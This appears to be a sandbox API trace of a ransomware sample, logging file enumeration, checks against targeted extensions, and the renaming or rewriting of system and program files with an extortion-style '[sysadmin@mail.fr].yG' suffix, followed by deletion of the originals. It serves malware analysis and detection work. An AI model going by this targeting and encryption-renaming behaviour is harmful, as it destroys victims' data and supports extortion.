	[0134.697] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0134.697] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=99744) returned 1
	[0134.698] CloseHandle (hObject=0x314) returned 1
	[0134.698] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20
	[0134.698] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0134.698] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.698] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0134.698] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0134.698] lstrlenW (lpString=".doc") returned 4
	[0134.698] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0134.698] lstrlenW (lpString=".docx") returned 5
	[0134.698] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0134.698] lstrlenW (lpString=".pdf") returned 4
	[0134.698] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0134.698] lstrlenW (lpString=".xls") returned 4
	[0134.698] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0134.698] lstrlenW (lpString=".xlsx") returned 5
	[0134.698] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0134.698] lstrlenW (lpString=".ppt") returned 4
	[0134.698] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0134.699] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0134.699] lstrlenW (lpString=".zip") returned 4
	[0134.699] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0134.699] lstrlenW (lpString=".rar") returned 4
	[0134.699] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0134.699] lstrlenW (lpString=".bz2") returned 4
	[0134.699] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0134.699] lstrlenW (lpString=".7z") returned 3
	[0134.699] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0134.699] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0134.699] lstrlenW (lpString=".dbf") returned 4
	[0134.699] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0134.699] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0134.699] lstrlenW (lpString=".1cd") returned 4
	[0134.699] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0134.699] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0134.699] lstrlenW (lpString=".jpg") returned 4
	[0134.699] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0134.699] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0134.699] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0134.699] lstrlenW (lpString=".doc") returned 4
	[0134.699] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0134.699] lstrlenW (lpString=".docx") returned 5
	[0134.699] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0134.699] lstrlenW (lpString=".pdf") returned 4
	[0134.699] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0134.699] lstrlenW (lpString=".xls") returned 4
	[0134.700] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0134.700] lstrlenW (lpString=".xlsx") returned 5
	[0134.700] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0134.700] lstrlenW (lpString=".ppt") returned 4
	[0134.700] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0134.700] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0134.700] lstrlenW (lpString=".zip") returned 4
	[0134.700] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0134.700] lstrlenW (lpString=".rar") returned 4
	[0134.700] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0134.700] lstrlenW (lpString=".bz2") returned 4
	[0134.700] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0134.700] lstrlenW (lpString=".7z") returned 3
	[0134.700] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0134.700] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0134.700] lstrlenW (lpString=".dbf") returned 4
	[0134.700] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0134.700] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0134.700] lstrlenW (lpString=".1cd") returned 4
	[0134.700] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0134.700] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0134.700] lstrlenW (lpString=".jpg") returned 4
	[0134.700] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0134.700] lstrcmpiW (lpString1=".mui", lpString2=".yG") returned -1
	[0134.701] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0134.701] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0134.701] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=76632) returned 1
	[0134.701] CloseHandle (hObject=0x314) returned 1
	[0134.701] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20
	[0134.701] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0134.701] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.702] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0134.702] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0134.702] lstrlenW (lpString=".doc") returned 4
	[0134.702] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0134.702] lstrlenW (lpString=".docx") returned 5
	[0134.702] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0134.702] lstrlenW (lpString=".pdf") returned 4
	[0134.702] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0134.702] lstrlenW (lpString=".xls") returned 4
	[0134.702] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0134.702] lstrlenW (lpString=".xlsx") returned 5
	[0134.702] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0134.702] lstrlenW (lpString=".ppt") returned 4
	[0134.702] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0134.702] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0134.702] lstrlenW (lpString=".zip") returned 4
	[0134.702] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0134.702] lstrlenW (lpString=".rar") returned 4
	[0134.702] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0134.702] lstrlenW (lpString=".bz2") returned 4
	[0134.702] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0134.702] lstrlenW (lpString=".7z") returned 3
	[0134.702] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0134.708] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0135.144] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0135.910] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0
	[0135.912] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0135.913] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0135.914] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0135.915] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0135.916] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0135.916] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0135.917] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0135.917] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0136.125] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0136.129] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0138.124] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0138.170] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0138.209] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.210] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.210] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498
	[0138.212] GetLastError () returned 0x0
	[0138.212] ReadFile (in: hFile=0x494, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0xcac, lpOverlapped=0x0) returned 1
	[0138.273] WriteFile (in: hFile=0x498, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xcb0, lpOverlapped=0x0) returned 1
	[0138.274] ReadFile (in: hFile=0x494, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0138.275] WriteFile (in: hFile=0x498, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xe6, lpOverlapped=0x0) returned 1
	[0138.275] SetEndOfFile (hFile=0x498) returned 1
	[0138.275] CloseHandle (hObject=0x498) returned 1
	[0138.275] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.275] SetEndOfFile (hFile=0x494) returned 1
	[0138.278] CloseHandle (hObject=0x494) returned 1
	[0138.278] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0138.279] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 1
	[0138.279] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0138.279] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0138.279] lstrlenW (lpString=".doc") returned 4
	[0138.279] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1
	[0138.279] lstrlenW (lpString=".docx") returned 5
	[0138.279] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1
	[0138.280] lstrlenW (lpString=".pdf") returned 4
	[0138.280] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1
	[0138.280] lstrlenW (lpString=".xls") returned 4
	[0138.280] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1
	[0138.280] lstrlenW (lpString=".xlsx") returned 5
	[0138.280] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1
	[0138.280] lstrlenW (lpString=".ppt") returned 4
	[0138.280] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1
	[0138.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0138.280] lstrlenW (lpString=".zip") returned 4
	[0138.280] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1
	[0138.280] lstrlenW (lpString=".rar") returned 4
	[0138.280] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1
	[0138.280] lstrlenW (lpString=".bz2") returned 4
	[0138.280] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1
	[0138.280] lstrlenW (lpString=".7z") returned 3
	[0138.280] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1
	[0138.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0138.280] lstrlenW (lpString=".dbf") returned 4
	[0138.280] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1
	[0138.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0138.280] lstrlenW (lpString=".1cd") returned 4
	[0138.280] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1
	[0138.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0138.280] lstrlenW (lpString=".jpg") returned 4
	[0138.280] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1
	[0138.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0138.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0138.281] lstrlenW (lpString=".doc") returned 4
	[0138.281] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1
	[0138.281] lstrlenW (lpString=".docx") returned 5
	[0138.281] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1
	[0138.281] lstrlenW (lpString=".pdf") returned 4
	[0138.281] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1
	[0138.281] lstrlenW (lpString=".xls") returned 4
	[0138.281] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1
	[0138.281] lstrlenW (lpString=".xlsx") returned 5
	[0138.281] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1
	[0138.281] lstrlenW (lpString=".ppt") returned 4
	[0138.281] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1
	[0138.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0138.281] lstrlenW (lpString=".zip") returned 4
	[0138.281] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1
	[0138.281] lstrlenW (lpString=".rar") returned 4
	[0138.281] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1
	[0138.281] lstrlenW (lpString=".bz2") returned 4
	[0138.282] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1
	[0138.282] lstrlenW (lpString=".7z") returned 3
	[0138.282] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1
	[0138.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0138.282] lstrlenW (lpString=".dbf") returned 4
	[0138.282] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1
	[0138.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0138.282] lstrlenW (lpString=".1cd") returned 4
	[0138.282] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1
	[0138.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0138.282] lstrlenW (lpString=".jpg") returned 4
	[0138.282] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1
	[0138.282] lstrcmpiW (lpString1=".properties", lpString2=".yG") returned -1
	[0138.282] lstrlenW (lpString="accessibility.properties") returned 24
	[0138.282] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0138.283] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=149) returned 1
	[0138.283] CloseHandle (hObject=0x494) returned 1
	[0138.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 0x20
	[0138.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0138.283] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0138.283] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.284] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.284] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498
	[0138.289] GetLastError () returned 0x0
	[0138.289] ReadFile (in: hFile=0x494, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x95, lpOverlapped=0x0) returned 1
	[0138.290] WriteFile (in: hFile=0x498, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xa0, lpOverlapped=0x0) returned 1
	[0138.292] ReadFile (in: hFile=0x494, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0138.292] WriteFile (in: hFile=0x498, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x104, lpOverlapped=0x0) returned 1
	[0138.292] SetEndOfFile (hFile=0x498) returned 1
	[0138.292] CloseHandle (hObject=0x498) returned 1
	[0138.292] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.292] SetEndOfFile (hFile=0x494) returned 1
	[0138.297] CloseHandle (hObject=0x494) returned 1
	[0138.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0138.298] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 1
	[0138.299] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0138.299] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0138.299] lstrlenW (lpString=".doc") returned 4
	[0138.299] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0138.299] lstrlenW (lpString=".docx") returned 5
	[0138.299] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0138.299] lstrlenW (lpString=".pdf") returned 4
	[0138.299] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0138.299] lstrlenW (lpString=".xls") returned 4
	[0138.299] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0138.299] lstrlenW (lpString=".xlsx") returned 5
	[0138.299] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0138.299] lstrlenW (lpString=".ppt") returned 4
	[0138.299] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0138.299] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0138.299] lstrlenW (lpString=".zip") returned 4
	[0138.299] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0138.299] lstrlenW (lpString=".rar") returned 4
	[0138.299] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0138.299] lstrlenW (lpString=".bz2") returned 4
	[0138.299] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0138.299] lstrlenW (lpString=".7z") returned 3
	[0138.299] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0138.299] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0138.299] lstrlenW (lpString=".dbf") returned 4
	[0138.299] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0138.299] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0138.300] lstrlenW (lpString=".1cd") returned 4
